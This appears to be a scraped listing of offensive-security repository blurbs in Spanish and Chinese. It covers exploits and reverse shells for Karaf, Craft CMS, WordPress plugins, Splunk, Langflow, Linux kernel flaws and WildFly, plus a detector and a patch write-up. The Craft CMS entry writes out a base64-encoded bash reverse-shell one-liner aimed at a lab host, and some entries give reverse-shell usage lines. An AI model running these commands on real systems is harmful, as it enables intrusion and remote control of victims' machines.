offsec-karaf-exploits

Exploits de Apache Karaf para OffSec Uso: python exploit.py --help Ejemplo: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Reconstruir el Payload Configurar el Framework Felix 1. Crea el directorio lib mkdir -p ./revshell/lib 2. Descarg...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

Gopherus

Gopherus Si conoces un lugar que sea vulnerable a SSRF, esta herramienta te ayudará a generar payload Gopher para explotar SSRF Server Side Request Forgery y obtener RCE Remote Code Execution. También te ayudará a obtener la reverse shell en el servidor víctima. Y para más información puedes...

php-reverse-shell

php-reverse-shell...

wp-file-manager

wp-file-manager WP File Manager 6.9 - Subida arbitraria de archivos que conduce a RCE usage: wp-file-manager.py -h -u URL -f FILE optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of host to check will need http or https -f FILE, --file FILE File of URLS to chec...

Splunk-RCE-poc

Splunk RCE - PoC Exploit de prueba de concepto para CVE-2023-46214, SVD-2023-1104 Uso La URL de la instancia de Splunk, el nombre de usuario, la contraseña, la IP del shell inverso y el puerto son todos necesarios como parámetros de línea de comandos. Por ejemplo: $ python3 CVE-2023-46214.py --ur...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - Subida arbitraria de archivos Descripción El plugin Instant Appointment para WordPress es vulnerable a la subida arbitraria de archivos en versiones hasta la 1.2, inclusive. Esto permite que atacantes no autenticados suban un shell y...

PPPoEject

PPPoEject CVE-2026-68121 Writeup !WARNING El PoC se proporciona únicamente para ayudar a defensores, mantenedores y equipos de seguridad autorizados a validar parches, mitigaciones, detecciones y exposición en sistemas que poseen o están explícitamente autorizados a probar. Usted es el único...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; Una vez que el módulo pasa esta verificación como "Add-On válido", cualquier script install.php se ejecuta automáticamente en el servidor. Este exploit simplemente utiliza un reverse shell en PHP como payload PHP. Demostración en YouTube:...

sagemcom-fast-3890-exploit

Exploit del Sagemcom Fast 3890 Este exploit utiliza la vulnerabilidad Cable Haunt para obtener una shell en el módem de cable Sagemcom F@ST 3890 50.10.19 desde el acceso a la red local. La versión de firmware 50.10.21 o superior debería ser segura frente a Cable Haunt. Esta prueba de concepto ha...

CVE-2022-0847

CVE-2022-0847 CVE-2022-0847简单复现 披露老哥原文地址：https://dirtypipe.cm4all.com/ 复现环境 Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux 依赖 gcc 使用步骤 git clone https://github.com/imfiver/CVE-2022-0847.git cd CVE-2022-0847 chmod +x Dirty-Pipe.sh bash Dirty-Pipe.sh...

Http-Asynchronous-Reverse-Shell

HTTP/S 异步反向Shell ✨ 介绍 在当今企业网络中，IDS、IPS、EDR、AV和防火墙等高级检测系统占主导地位，在安全评估期间规避它们是一项挑战。大多数反向Shell利用TCP隧道（L4），这些隧道现在经常被分析并标记。 本项目提出了一种创新解决方案 ：一种完全基于HTTP/S的异步反向Shell，通过模仿合法用户行为，融入正常的网络流量。 与传统的反向Shell不同，它仅使用GET请求 ，看起来像正常的网络查询 ，并且可以选择通过HTTPS和伪造的合法证书 运行，从而最大程度地降低被检测的可能性。 工作原理？ 1. 客户端应用在目标机器上执行。 2. 客户端向服务器发起连接...

CVE-2026-31431

Description: Cfail 是我用 C++ 和 x86-64 汇编语言实现的 CVE-2026-31431（又名 Copyfail），完全无需任何依赖，包括 libc。实际上，通过最小化实现标准库，您可以得到一个通用的可执行文件，能够在每个 Linux x86-64 发行版上独立运行。这使得该程序成为“一次编译，到处部署”的类型，其中“到处”指的是任何存在漏洞的随机 Linux x86-64 发行版。 以非特权用户在存在漏洞的系统上运行该程序，将打开一个 root shell。 makefile 还会创建一个名为 cfail.sh 的“引导” shell...

HRShell

HRShell：基于Flask构建的高级HTTPS反向Shell HRShell 是一个基于 Flask 构建的 HTTPS/HTTP 反向 Shell，兼容 Python 3.x 。 client.py 已在以下环境成功测试： Linux ubuntu 18.04 LTS, Kali Linux 2019.3 macOS Mojave/Catalina Windows 7/10 而 server.py 与 Unix 系统兼容（ Windows 支持即将到来... ） 功能特点 隐秘性 TLS 支持 🔑 使用 即时生成 的证书 或 指定证书/密钥对（ 更多细节见下文... ）...

watcher

反反向Shell 大家好，我是themoon（也叫shalev），我创建这个项目是为了帮助那些运行安全性较低服务器的人。 你可以使用这个项目来保护你的计算机免受攻击者可能试图对你的计算机进行反向Shell的攻击。 关于此项目的信息 你可以在这里查看此项目的工作方式 https://miro.com/app/board/uXjVGAn3Ml8=/?sharelinkid=431140843238 反向Shell 检测可疑进程和命令执行 扫描进程内存以检测Shellcode注入模型 记录所有发现的操作 操作系统支持 Windows用户 Linux 要求 1...

BruteSploit

Brutesploit BruteSploit 是一个方法的集合，用于自动化生成、暴力破解和操作单词列表，并提供交互式 shell。在渗透测试期间可用于枚举，在 CTF 中可用于操作、组合、转换和排列某些单词或文本文件 :p 我写这个只是为了好玩，并学习如何创建交互式 shell 的工作原理。 捐赠 如果这个项目对你的渗透测试很有帮助，并且你想支持我，你可以请我喝杯咖啡 : 功能与教程 如需请求提交新问题 https://www.youtube.com/watch?v=x51As2OS2z4 频道 : https://www.youtube.com/screetsec 查看此视频 : 📜...

Bashter

Bashter 4.1 Web爬虫、扫描器与分析框架（基于Shell脚本）...

wildPwn

wildPwn - Herramienta de Explotación para WildFly Es una herramienta para WildFly. Puede utilizarse para fuerza bruta o despliegue de shell. wildPwn.war contiene un Shell de Laudanum modificado. userList.txt contiene nombres de usuario comunes y passList.txt contiene contraseñas comunes. Uso Fuer...

CVE-2026-33017-Langflop

CVE-2026-33017 Langflow "Langflop" PoC de RCE no autenticado PoC para la falla de ejecución de código no autenticada buildpublictmp en Langflow. Sube un componente malicioso a un flujo público, activa una compilación y captura una shell inversa. Solo para pruebas de seguridad autorizadas. Úsalo...

cve-2022-33891-fix

EP3 - MAC0352 Redes de Computadores y Sistemas Distribuidos 2023 Tema: CVE-2022-33891 Ejecución de comandos shell arbitrarios en una aplicación Spark que utiliza autenticación vía ACL Alumnos Elinilson Vital Leoarndo Bozzetto Instrucciones de parche para CVE-2022-33891 en Ubuntu 22.04 Requisitos...